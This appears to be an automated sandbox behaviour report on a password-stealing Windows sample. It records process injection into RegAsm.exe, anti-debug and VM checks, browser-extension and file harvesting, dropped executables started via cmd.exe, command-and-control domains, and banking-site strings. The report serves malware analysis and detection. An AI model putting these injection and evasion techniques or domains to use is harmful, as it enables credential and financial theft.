Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409BD4 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00409BD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00414FA1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	4_2_00414FA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00415647 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	4_2_00415647
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040CBEF wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,FindNextFileA,FindClose,	4_2_0040CBEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040B7F7 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	4_2_0040B7F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	11_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	11_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	11_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	11_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00414CA6 GetLogicalDriveStringsA,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlen,

4_2_00414CA6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00410E72 GetSystemInfo,wsprintfA,

4_2_00410E72

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userAAAAKJKJEB.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: DBKKFC.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: DBKKFC.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: DBKKFC.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: DBKKFC.4.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: DBKKFC.4.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: DBKKFC.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2850533577.0000000000F1A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DBKKFC.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: DBKKFC.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: DBKKFC.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: DBKKFC.4.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: DBKKFC.4.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: RegAsm.exe, 00000014.00000002.2911320361.000000000114E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: DBKKFC.4.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: DBKKFC.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: DBKKFC.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: DBKKFC.4.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: DBKKFC.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: DBKKFC.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: DBKKFC.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: DBKKFC.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: DBKKFC.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: DBKKFC.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: DBKKFC.4.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: DBKKFC.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: RegAsm.exe, 0000001A.00000002.4587272872.0000000000D9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DBKKFC.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: DBKKFC.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: RegAsm.exe, 00000014.00000002.2910955562.0000000001126000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: DBKKFC.4.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: DBKKFC.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: DBKKFC.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: DBKKFC.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000000FBA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(2
Source: DBKKFC.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: DBKKFC.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_4-84376
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_4-84914
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_1FEB2C8E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_1FEB2C8E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00404610 VirtualProtect ?,00000004,00000100,00000000

11_2_00404610

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004079B4 LoadLibraryA,GetProcAddress,

4_2_004079B4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040149D mov eax, dword ptr fs:[00000030h]	4_2_0040149D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040147A mov eax, dword ptr fs:[00000030h]	4_2_0040147A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00401492 mov eax, dword ptr fs:[00000030h]	4_2_00401492
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00419160 mov eax, dword ptr fs:[00000030h]	11_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041085A GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,lstrcat,lstrlen,lstrcat,

4_2_0041085A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB2C8E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_1FEB2C8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB42AF SetUnhandledExceptionFilter,	4_2_1FEB42AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041C8D9 SetUnhandledExceptionFilter,	11_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C56B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_6C56B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C56B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_6C56B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_6C71AC62

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe PID: 3652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DGHIDAFCGI.exe PID: 2620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2632, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\userAAAAKJKJEB.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Code function: 0_2_02C721D1 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_02C721D1

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\userAAAAKJKJEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: userCGCFCBAKKF.exe, 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: commisionipwn.shop
Source: userCGCFCBAKKF.exe, 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stitchmiscpaew.shop
Source: userCGCFCBAKKF.exe, 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ignoracndwko.shop
Source: userCGCFCBAKKF.exe, 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grassemenwji.shop
Source: userCGCFCBAKKF.exe, 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: charistmatwio.shop
Source: userCGCFCBAKKF.exe, 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: basedsymsotp.shop
Source: userCGCFCBAKKF.exe, 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: complainnykso.shop
Source: userCGCFCBAKKF.exe, 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: preachstrwnwjw.shop

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00412439 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	4_2_00412439
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00412362 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	4_2_00412362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	11_2_004190A0

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 651000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 652000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CBD008	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BF2008	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userCGCFCBAKKF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userCGCFCBAKKF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 441000
Source: C:\Users\userCGCFCBAKKF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 444000
Source: C:\Users\userCGCFCBAKKF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 453000
Source: C:\Users\userCGCFCBAKKF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: EE6008
Source: C:\Users\userAAAAKJKJEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userAAAAKJKJEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userAAAAKJKJEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000
Source: C:\Users\userAAAAKJKJEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000
Source: C:\Users\userAAAAKJKJEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 651000
Source: C:\Users\userAAAAKJKJEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 652000
Source: C:\Users\userAAAAKJKJEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 9C3008

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DGHIDAFCGI.exe "C:\ProgramData\DGHIDAFCGI.exe"	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCGCFCBAKKF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAAAKJKJEB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userCGCFCBAKKF.exe "C:\Users\userCGCFCBAKKF.exe"	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAAAAKJKJEB.exe "C:\Users\userAAAAKJKJEB.exe"
Source: C:\Users\userAAAAKJKJEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userAAAAKJKJEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040110D cpuid

4_2_0040110D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	4_2_00410C93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	4_2_1FEB298C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	4_2_2008FF17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	4_2_1FEB2112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	4_2_1FEB2112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	11_2_00417630

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

